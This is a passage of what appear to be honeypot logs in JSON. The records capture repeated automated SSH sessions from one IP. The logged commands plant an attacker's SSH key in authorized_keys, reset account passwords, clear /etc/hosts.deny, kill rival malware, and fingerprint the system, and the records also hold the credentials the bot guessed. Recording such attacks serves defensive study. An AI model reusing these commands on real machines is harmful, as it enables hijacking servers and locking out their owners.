AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:00:24.490347+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:00:25.850271+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:00:25.915788+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YGhq6E6MJuOK\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:00:25.982051+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:00:26.049938+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:00:27.211718+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:00:27.632049+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:00:27.698110+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:00:29.740779+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:00:29.806960+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:00:31.241589+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:00:31.312726+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:00:32.963743+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:00:33.028534+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:00:34.494609+00:00","kind":"output","latency_ms":null,"data":" 22:00:34 up 6 days, 18:50, 0 user, load average: 0.16, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:00:34.561036+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:00:35.692993+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:00:35.762541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:00:37.084255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:00:37.153168+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:00:38.234221+00:00","kind":"output","latency_ms":null,"data":"top - 22:00:38 up 6 days, 18:50, 0 user, load average: 0.16, 0.14, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:00:38.300268+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:00:39.471139+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:00:39.539184+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:00:40.356039+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:00:40.423865+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:00:41.646814+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:00:41.713739+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:00:42.760227+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:00:42.827737+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:00:44.369669+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5tgb$RFV","method":"password","accepted":true,"tier":"other"}]} {"id":"497be21b-7be1-47e8-bbc7-464eedc2053d","name":"gnarled-upland-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":38984,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:58:49.387001+00:00","ended_at":"2026-08-26T21:58:50.374846+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-26T21:58:25.189099+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:58:25.248897+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:58:27.941898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:58:29.442330+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:58:29.506081+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234abcd\\nQb0vNaBMvO3u\\nQb0vNaBMvO3u\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:58:29.579646+00:00","kind":"input","latency_ms":null,"data":"echo \"1234abcd\\nQb0vNaBMvO3u\\nQb0vNaBMvO3u\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:58:29.648915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:58:30.525349+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:58:30.792870+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T21:58:31.537966+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-26T21:58:31.614690+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T21:58:33.202734+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:58:33.266389+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T21:58:34.361608+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T21:58:34.435135+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T21:58:35.501877+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T21:58:35.571179+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T21:58:37.318166+00:00","kind":"output","latency_ms":null,"data":" 21:58:37 up 6 days, 18:48, 0 user, load average: 0.13, 0.11, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T21:58:37.388316+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T21:58:38.939177+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T21:58:39.007570+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T21:58:40.818734+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T21:58:40.887642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T21:58:42.733238+00:00","kind":"output","latency_ms":null,"data":"top - 21:58:42 up 6 days, 18:48, 0 user, load average: 0.13, 0.11, 0.12\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T21:58:42.809881+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T21:58:44.428655+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T21:58:44.497634+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T21:58:45.803622+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T21:58:45.871159+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T21:58:47.571503+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-26T21:58:47.644533+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T21:58:49.315481+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T21:58:49.387679+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T21:58:50.362027+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"1234abcd","method":"password","accepted":true,"tier":"other"}]} {"id":"11aa2cbd-fe21-46e3-b0d6-344145a643ec","name":"marine-tranquil-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":55188,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:56:44.073129+00:00","ended_at":"2026-08-26T21:56:45.527588+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-26T21:56:30.889242+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:56:30.957898+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:56:33.674264+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:56:34.054536+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:56:34.121516+00:00","kind":"input","latency_ms":null,"data":"echo -e \"asdf1234\\nwioC6sUm9wN3\\nwioC6sUm9wN3\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:56:34.187267+00:00","kind":"input","latency_ms":null,"data":"echo \"asdf1234\\nwioC6sUm9wN3\\nwioC6sUm9wN3\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:56:34.255437+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:56:34.533604+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:56:34.603248+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:56:35.982725+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:56:36.058214+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:56:37.233829+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:56:37.307818+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:56:38.210167+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:56:38.276587+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:56:38.967025+00:00","kind":"output","latency_ms":null,"data":" 21:56:38 up 6 days, 18:46, 0 user, load average: 0.12, 0.1, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:56:39.037385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:56:39.597901+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:56:39.666693+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:56:39.926818+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:56:39.996598+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:56:40.482315+00:00","kind":"output","latency_ms":null,"data":"top - 21:56:40 up 6 days, 18:46, 0 user, load average: 0.12, 0.1, 0.12\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:56:40.551724+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:56:40.912339+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:56:40.980094+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:56:41.699836+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:56:41.768698+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:56:42.543784+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-26T21:56:42.611796+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:56:44.001139+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:56:44.073668+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:56:45.515461+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"asdf1234","method":"password","accepted":true,"tier":"other"}]} {"id":"910bee72-8600-4d52-af3a-d73a00585467","name":"coral-lively-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":40922,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:54:51.098099+00:00","ended_at":"2026-08-26T21:54:51.967026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T21:54:33.881435+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:54:33.950281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:54:37.185482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:54:38.926236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:54:38.993754+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ekmk0fZAcXSq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:54:39.065068+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:54:39.132463+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:54:41.091486+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:54:41.176463+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:54:41.245045+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:54:43.298926+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:54:43.371898+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:54:44.531258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:54:44.599719+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:54:45.413426+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:54:45.475081+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:54:45.744952+00:00","kind":"output","latency_ms":null,"data":" 21:54:45 up 6 days, 18:44, 0 user, load average: 0.25, 0.18, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:54:45.814877+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:54:46.527044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:54:46.598634+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:54:46.998645+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:54:47.068609+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:54:47.768069+00:00","kind":"output","latency_ms":null,"data":"top - 21:54:47 up 6 days, 18:44, 0 user, load average: 0.25, 0.18, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:54:47.838640+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:54:48.361613+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:54:48.432886+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:54:48.772567+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:54:48.841076+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:54:49.644441+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:54:49.713960+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:54:51.028148+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:54:51.098595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:54:51.952399+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"temproot","method":"password","accepted":true,"tier":"other"}]} {"id":"dc56c274-7f9e-42de-a185-441ab6ed2f79","name":"wiry-merry-hedgehog","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":43208,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":73,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:52:53.047241+00:00","ended_at":"2026-08-26T21:52:54.392693+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2220,"events":[{"seq":1,"at":"2026-08-26T21:52:32.925077+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:52:32.989628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:52:36.332949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:52:37.811730+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:52:37.879395+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nwDdIVI3LSMKK\\nwDdIVI3LSMKK\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:52:37.946497+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nwDdIVI3LSMKK\\nwDdIVI3LSMKK\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:52:38.014933+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:52:39.176058+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:52:39.521322+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core 